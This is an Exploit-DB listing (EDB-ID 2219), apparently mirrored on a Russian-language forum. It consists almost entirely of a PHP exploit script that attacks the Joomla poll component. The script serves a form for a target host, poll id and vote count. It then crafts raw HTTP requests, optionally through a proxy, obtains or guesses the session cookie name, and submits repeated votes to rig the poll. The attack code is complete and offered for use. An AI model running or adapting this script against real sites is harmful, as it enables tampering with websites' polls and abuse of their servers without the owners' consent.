- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 2219
- Проверка EDB
-
- Пройдено
- Автор
- TRUEEND5
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- null
- Дата публикации
- 2006-08-19
PHP:
<?php
# Joomla [poll component] add unlimited votes #
# Computer Security Researchers Institute #
# works regardless of php.ini settings #
# by trueend5 #
# [http://www.KAPDA.ir] #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Joomla [poll component] arbitrary add votes</title>
</head>
<body bgcolor="#FFCCFF">
<p align="center"><font size="4" color="#0000FF">Joomla [poll
component] arbitrary add votes</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><b><a href="http://www.kapda.ir"><font color="#000000">KAPDA</font></a>.ir</b></p>
<p align="center"> </p>
</font>
<table width="90%">
<tbody>
<tr>
<td width="43%" align="left">
<form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
<p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex: www.sitename.com)</span></p>
<p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex: /joomla/
or just / )</span></p>
<p><input name="pollid" size="20"> <span class="Stile5"><font color="#FF0000">
*</font> pollid (ex: index.php?option=com_poll&task=results&<b><font size="4">id=14</font></b> )</span></p>
<p><input name="voteid" size="20"><span class="Stile5"><font color="#FF0000">
*</font> voteid ( <b><u>1</u></b> for first option, <b><u>2</u></b>
for second one , <b><u>3</u></b> for third and so... )</span></p>
<p><input name="hits" size="20"><span class="Stile5"><font color="#FF0000">
*</font>
hits ( number of votes that you want to add ) </span></p>
<p><input name="port" size="20"><span class="Stile5"> specify a port
(default: 80)</span></p>
<p><input name="proxy" size="20" ><span class="Stile5"> send exploit
through an HTTP proxy (ip:port)</span></p>
<p align="center"> <span class="Stile5"><font color="#FF0000">
* </font>fields are required</span></p>
<p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
<p><input type="submit" value="Start" name="Submit"></p>
</form></td></tr></tbody></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket()
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
//echo nl2br(htmlentities($html));
}
$host=trim($_POST[host]);
$path=trim($_POST[path]);
$port=intval(trim($_POST[port]));
$pollid=intval(trim($_POST[pollid]));
$voteid=intval(trim($_POST[voteid]));
$hits=intval(trim($_POST[hits]));
if (($host<>'') and ($path<>'') and ($pollid<>'') and ($voteid<>'') and ($hits<>''))
{
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
if ($port=='') {$port=80;}
if ($hits=='') {$hits=200;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$livesite=$host;
if ($path=='/') {$livepath='';} else $livepath=substr("$path", 0, strlen($path)-1);
$sessionpath='http://'.$livesite.$livepath;
$packet="HEAD ".$p."index.php HTTP/1.1\r\n";
$packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
echo nl2br(htmlentities($html));
//trying to obtain cookiename from HEADER
$pattern="([a-z0-9]{32}=)";
if(preg_match($pattern, $html, $matches)) {$match=$matches[0];
$sessionCookieName=substr("$match", 0, strlen($match)-1);
} else
//trying to generate cookiename
{$sessionCookieName= md5( 'site'.$sessionpath );}
for ($t = 14; $t < $pollid; $t++) {$voteid=$voteid + 12;}
$data="voteid=".$voteid."";
$packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
echo nl2br(htmlentities($html));
if (!eregi("Location",$html)) {
echo "\n\nExploit failed..."; die();
}
else {
for ($n = 2; $n <= $hits; $n++) {
$data="voteid=".$voteid."";
$packet="POST ".$p."index.php?option=com_poll&task=vote&id=".$pollid."&".$sessionCookieName."=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (!eregi("Location",$html)) {
echo "\n\nExploit failed..."; die();
}
echo "<br />".$n.":added.";
}
echo "<br /> Exploit succeeded <br />";
echo'<p align="center"><a href="'.$sessionpath.'/index.php?option=com_poll&task=results&id='.$pollid.'"><font color="#0000FF">Results</font></a></p>';
}
}
else
{echo 'Fill in requested fields, optionally specify a proxy';}
?>
# milw0rm.com [2006-08-19]- Источник
- www.exploit-db.com
